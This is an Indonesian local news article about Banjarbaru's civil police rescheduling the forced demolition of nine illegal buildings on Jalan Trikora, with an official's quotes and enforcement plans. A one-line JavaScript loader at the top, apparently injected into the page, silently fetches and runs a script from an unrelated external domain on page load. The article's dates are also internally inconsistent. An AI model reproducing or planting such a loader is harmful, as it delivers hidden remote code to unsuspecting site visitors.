(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tertunda Dua Kali, Besok Pembongkaran Bangunan Liar di Trikora

KANALKALIMANTAN.COM, BANJARBARU – Bangunan liar di Jalan Trikora Kelurahan Landasan Ulin Tengah Kecamatan Liang Anggang Kota Banjarbaru akhirnya akan dibongkar paksa.

Rencana ulang jadwal pembongkaran diketahui melalui rapat gelar perkara penertiban bangunan liar di aula kantor Satpol PP Kota Banjarbaru, Rabu (10/1/2023) siang.

Eksekusi pembongkaran bangunan itu dijadwalkan ulang setelah sempat tertunda dua kali yakni pada Senin (8/1/2023) dan Rabu (10/1/2023).

Kabid Penegakan Produk Hukum Daerah Satpol PP Banjarbaru, Denny Mahendrata. Foto: wanda

Kabid Penegakan Produk Hukum Daerah Satpol PP Banjarbaru, Denny Mahendrata menyebutkan, dari total 90 bangunan yang diberikan surat peringatan (SP) pada 2023 lalu, kini terdata ada 53 bangunan yang dengan suka rela telah dibongkar oleh pemilik masing-masing.

Kemudian tersisa 37 unit bangunan, yang tepat di hari sebelumnya Satuan Polisi Pamong Praja (Satpol PP) telah melayangkan SP terakhir terkait batas waktu terakhir berdirinya bangunan.

“37 unit sisanya itu izinnya dikabarkan masih diproses dan nantinya kita akan minta Disperkim untuk memastikan kembali karena perintah kita jelas dari arahan pak Sekda bahwa semua bangunan itu harus dirobohkan,” ujar Denny Mahendrata, Rabu (10/1/2023) siang.

“Persoalan mereka mengajukan izin kembali ya silahkan, tapi nanti akan diteliti apakah bangunan itu sesuai dengan pemanfaatannya kemudian, sinergi gak dengan tata ruang di situ,” sambung dia.

Ia menyebutkan dari 37 bangunan yang sudah diberikan SP, 28 unit diantaranya mulai memundurkan bangunan dari garis sempadan jalan.

Sementara tersisa sembilan bangunan yang tidak melakukan tindakan pembongkaran sendiri maupun pemunduran bangunan.

“Sembilan bangunan itu lah yang besok akan kita lakukan pembongkaran di lapangan,” tegasnya.

Terkait pemunduran bangunan, pihaknya mengaku tetap berpegang teguh pada Perda Nomor 6 tahun 2022, dimana secara administrasi setiap bangunan harus memiliki izin bangunan gedung.

“Yang kedua juga sesuai dengan RTRW-nya, kemudian pemanfaatan bangunannya jelas, kalau rumah harus difungsikan sebagai rumah,” sebut dia.

“Namun di lapangan kita melihat bahwa bangunan yang diperuntukan sebagai rumah malah beralih fungsi menjadi warung kopi hingga warung jablay, itu lah yang membuat kita ingin menertibkan karena keberadaan bangunan itu sungguh betul-betul liar,” sambung dia.

Sementara itu dalam rapat koordinasi hari ini, pihak terkait juga sepakat akan meminjam satu unit alat berupa eksavator untuk mengeksekusi pembongkaran.

“Dijadwalkan sementara 1 unit, melihat kebutuhan satu buah eksavator, yang mana juga di lapangan kita siapkan bersama dengan petugas PLN yang akan bergerak secara klaster tidak terpisah pisah dalam meratakan bangunan,” jelas Mahendrata.

Begitu pun dengan personel TNI dan Polri, sambung dia, siap menjadi back up sistem jika nanti ditemukan adanya perlawanan maupun gesekan dari masyarakat.

Selain Satpol PP dan Disperkim Banjarbaru, sejumlah SKPD rencananya juga akan ikut andil dalam eksekusi pembongkaran banguna liar itu.

Seperti Dinas PUPR yang akan mengukur jika ditemukan pelanggaran mengenai garis sempadan jalan, Dinas Perizinan, Dinas Lingkungan Hidup, serta Dinas Perhubungan.

“Tentu kami mengharapkan besok itu di lapangan semuanya akan berjalan dengan lancar artinya bahwa SP SP yang telah dikeluarkan sudah seharusnya ditaati oleh para pemilik bangunan ini,” tuntas dia. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie